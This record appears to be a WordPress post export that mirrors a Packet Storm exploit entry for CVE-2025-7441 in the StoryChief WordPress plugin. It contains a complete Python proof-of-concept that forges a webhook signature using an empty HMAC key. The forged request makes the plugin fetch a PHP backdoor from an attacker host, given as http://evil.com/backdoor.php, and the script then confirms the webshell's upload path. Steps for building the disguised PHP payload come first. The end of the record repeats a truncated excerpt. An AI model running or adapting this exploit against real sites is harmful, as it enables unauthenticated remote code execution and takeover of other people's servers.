{“lastseen”:”2025-08-26T16:02:49″,”description”:”WordPress……………………………………”,”published”:”2025-08-26T00:00:00″,”modified”:”2025-08-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress StoryChief 1.0.42 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:208852″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-7441″],”sourceData”:”# Exploit Title: StoryChief WordPress Plugin 1.0.42 – Arbitrary File Upload\\n # Exploit Author: xpl0dec\\n # Vendor Homepage: https:\/\/www.storychief.io\/wordpress-content-scheduler\\n # Software Link: https:\/\/github.com\/Story-Chief\/wordpress\/\\n # Version: \\u003c= 1.0.42\\n # Tested on: Linux\\n # CVE : CVE-2025-7441\\n # CVSS Score : 9.8\\n \\n \\n # Step to reproduce :\\n # 1. Create a file with the .php extension and fill it with:\\n # \\u003c?php \\n # header(\u201cContent-Type: image\/jpeg\u201d);\\n # echo \u201c\\u003c?php phpinfo(); ?\\u003e\u201d;\\n # ?\\u003e\\n # 2. Adjust the echo phpinfo section as needed\\n # 3. Host it on a VPS\/web server with the name you want to upload, for example backdoor.php\\n # 4. The second argument is the URL of the backdoor created earlier, e.g., http:\/\/evil.com\/backdoor.php\\n # 5. Then run the exploit: python3 CVE-2025-7441.py \\u003cwordpress_url\\u003e \\u003cbackdoor_url\\u003e\\n \\n from datetime import datetime\\n import requests\\n import json\\n import hmac\\n import hashlib\\n import sys\\n import time\\n import os\\n \\n def banner():\\n \\tprint(r\\”\\”\\”\\n _ _ ____ _____ _ _ _____ _ __ ____ _ __ __\\n | \\\\ | |\/ ___| ____| | | | ____| |\/ \/ | _ \\\\ \/ \\\\\\\\ \\\\ \/ \/\\n | \\\\| | | _| _| | |_| | _| | ‘ \/ | | | |\/ _ \\\\\\\\ V \/ \\n | |\\\\ | |_| | |___| _ | |___| . \\\\ | |_| \/ ___ \\\\| | \\n |_| \\\\_|\\\\____|_____|_| |_|_____|_|\\\\_\\\\ |____\/_\/ \\\\_\\\\_| \\n \\n PoC exploit CVE-2025-7441 by xpl0dec\\n \\t\\”\\”\\”)\\n \\n if __name__ == \\”__main__\\”:\\n banner()\\n if len(sys.argv) != 3:\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_url\\u003e \\u003cbackdoor_url\\u003e\\”)\\n sys.exit(1)\\n \\n url = sys.argv[1] + \\”\/wp-json\/storychief\/webhook\\”\\n \\n dummy = {\\n \\”meta\\”: {\\n \\”event\\”: \\”publish\\”\\n },\\n \\”data\\”: {\\n \\”featured_image\\”: {\\n \\”data\\”: {\\n \\”sizes\\”: {\\n \\”full\\”: sys.argv[2]\\n }\\n }\\n }\\n }\\n }\\n \\n json_string = json.dumps(dummy, separators=(‘,’, ‘:’), ensure_ascii=True)\\n json_string = json_string.replace(\\”\/\\”, \\”\\\\\\\\\/\\”).encode()\\n \\n signature = hmac.new(\\n \\”\\”.encode(),\\n json_string,\\n digestmod=hashlib.sha256\\n ).hexdigest()\\n \\n \\n headers = {\\n \\”Content-Type\\”: \\”application\/json\\”\\n }\\n \\n payload = {\\n \\”meta\\”: {\\n \\”mac\\” : signature,\\n \\”event\\”: \\”publish\\”\\n },\\n \\”data\\”: {\\n \\”featured_image\\”: {\\n \\”data\\”: {\\n \\”sizes\\”: {\\n \\”full\\”: sys.argv[2]\\n }\\n }\\n }\\n }\\n }\\n \\n \\n print(\\”[+] get hmac… [+]\\”)\\n time.sleep(2)\\n print(\\”hmac : \\” + signature)\\n \\n \\n response = requests.post(url, headers=headers, data=json.dumps(payload))\\n \\n if \\”permalink\\” in response.text:\\n print(\\”[+] Response Success [+]\\”)\\n time.sleep(2)\\n print(\\”[+] Check backdoor from uploaded… [+]\\”)\\n \\n current_datetime = datetime.now()\\n month = str(current_datetime.month).zfill(2)\\n year = current_datetime.year\\n file_backdoor = os.path.basename(sys.argv[2])\\n \\n get_backdoor = requests.get(sys.argv[1] + f\\”\/wp-content\/uploads\/{year}\/{month}\/{file_backdoor}\\”)\\n \\n if get_backdoor.status_code == 200:\\n print(\\”[+] Exploitation Success [+]\\”)\\n time.sleep(2)\\n print(\\”webshell uploaded in : \\” + sys.argv[1] + f\\”\/wp-content\/uploads\/{year}\/{month}\/{file_backdoor}\\”)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/208852″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/208852\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-26T16:02:49″,”description”:”WordPress……………………………………”,”published”:”2025-08-26T00:00:00″,”modified”:”2025-08-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress StoryChief 1.0.42 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:208852″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-7441″],”sourceData”:”# Exploit Title: StoryChief WordPress Plugin 1.0.42 – Arbitrary File Upload\\n # Exploit Author: xpl0dec\\n # Vendor Homepage: https:\/\/www.storychief.io\/wordpress-content-scheduler\\n #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-14389","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n